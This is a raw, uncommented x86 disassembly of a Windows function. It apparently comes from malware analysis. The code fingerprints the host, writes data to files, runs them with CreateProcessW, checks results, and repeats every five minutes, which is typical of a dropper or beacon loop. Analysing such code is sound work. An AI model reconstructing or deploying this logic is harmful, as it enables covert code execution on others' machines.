mov ecx, dword [0x46b12c]
push ecx
push eax
movzx eax, byte [0x46b12e]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x84]
add eax, edx
push str._2.2x_2.2x_2.2x_2.2x
push eax
call fcn.0043d17c
add esp, 0x1c
lea eax, [esp + 0x70]
mov ecx, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x454865
test dl, dl
je 0x454861
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x454865
add eax, 2
add ecx, 2
test dl, dl
jne 0x454845
xor eax, eax
jmp 0x45486a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4549d6
mov edi, dword [0x46af08]
xor edx, edx
add edi, 0xffffffe6
je 0x454b8d
mov esi, dword [0x46af1c]
lea esp, [esp]
xor eax, eax
lea ecx, [eax + edx]
mov cl, byte [ecx + esi]
cmp cl, byte [eax + 0x464ef0]
jne 0x4549c8
inc eax
cmp eax, 0x19
jb 0x454892
cmp edx, 0xffffffff
je 0x454b8d
lea eax, [esp + 0x878]
push 0x468ad0
push eax
call fcn.0043d30a
mov esi, eax
add esp, 8
test esi, esi
je 0x454b8d
push esi
push dword [0x46af08]
push 1
push dword [0x46af1c]
call fcn.0043e188
push esi
call fcn.0043e84c
push 0x800
lea eax, [esp + 0x1ad8]
push 0
push eax
call fcn.0043f340
lea eax, [esp + 0x898]
push eax
lea eax, [esp + 0x1ae4]
push 0x468ad8
push eax
call fcn.004558c0
push 0x44
lea eax, [esp + 0xf8]
xorps xmm0, xmm0
push 0
push eax
movdqa xmmword [esp + 0x158], xmm0
call fcn.0043f340
add esp, 0x38
mov dword [esp + 0xc8], 0x44
lea eax, [esp + 0x120]
push eax
lea eax, [esp + 0xcc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1ae0]
push eax
lea eax, [esp + 0x89c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x454b8d
lea eax, [esp + 0xe90]
push 0x468ae4
push eax
call fcn.0043d30a
mov esi, eax
add esp, 8
test esi, esi
je 0x454b8d
mov edi, dword [esp + 0x24]
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4549a7
push esi
sub ecx, edx
push ecx
push 1
push edi
call fcn.0043e188
push esi
call fcn.0043e84c
add esp, 0x14
jmp 0x454b8d
inc edx
cmp edx, edi
jb 0x454890
jmp 0x454b8d
mov ebx, 1
jmp 0x454b8d
mov ecx, str.00000000000000000000000000000000
lea eax, [esp + 0x40]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x454a10
test dl, dl
je 0x454a0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x454a10
add eax, 2
add ecx, 2
test dl, dl
jne 0x4549f0
xor eax, eax
jmp 0x454a15
sbb eax, eax
or eax, 1
test eax, eax
je 0x454b91
lea eax, [esp + 0xe90]
push 0x468b10
push eax
call fcn.0043d30a
mov edi, eax
add esp, 8
test edi, edi
je 0x454b91
push 2
push 0
push edi
call fcn.0043e701
push edi
call fcn.0043e59a
push 0
push 0
push edi
mov esi, eax
call fcn.0043e701
lea ecx, [esi + 1]
push ecx
call fcn.0043d278
push edi
push esi
mov ebx, eax
push 1
push ebx
call fcn.0043df52
push edi
mov byte [ebx + esi], 0
call fcn.0043e84c
add esp, 0x34
lea eax, [esp + 0x40]
mov ecx, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x454aa0
test dl, dl
je 0x454a9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x454aa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x454a80
xor eax, eax
jmp 0x454aa5
sbb eax, eax
or eax, 1
test eax, eax
je 0x454b80
push 0x800
lea eax, [esp + 0x22c4]
push 0
push eax
call fcn.0043f340
lea eax, [esp + 0x884]
push eax
lea eax, [esp + 0x22d0]
push str.__s_
push eax
call fcn.004558c0
push 0x44
lea eax, [esp + 0xe4]
xorps xmm0, xmm0
push 0
push eax
movdqa xmmword [esp + 0x134], xmm0
call fcn.0043f340
add esp, 0x24
mov dword [esp + 0xc8], 0x44
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0xcc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x22e0]
push eax
lea eax, [esp + 0x89c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x454b80
lea eax, [esp + 0xe90]
push 0x468b24
push eax
call fcn.0043d30a
mov esi, eax
add esp, 8
test esi, esi
je 0x454b80
lea ecx, [esp + 0x40]
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454b60
push esi
sub ecx, edx
lea eax, [esp + 0x44]
push ecx
push 1
push eax
call fcn.0043e188
push esi
call fcn.0043e84c
add esp, 0x14
push ebx
call fcn.0043d200
mov ebx, dword [esp + 0x34]
add esp, 4
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
test eax, eax
je 0x454ba2
push eax
call fcn.0043d200
add esp, 4
test esi, esi
je 0x454baf
push esi
call fcn.0043d200
add esp, 4
mov esi, dword [esp + 0x1c]
test ebx, ebx
mov ebx, dword [esp + 0x18]
jne 0x454130
push 0x493e0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4540f0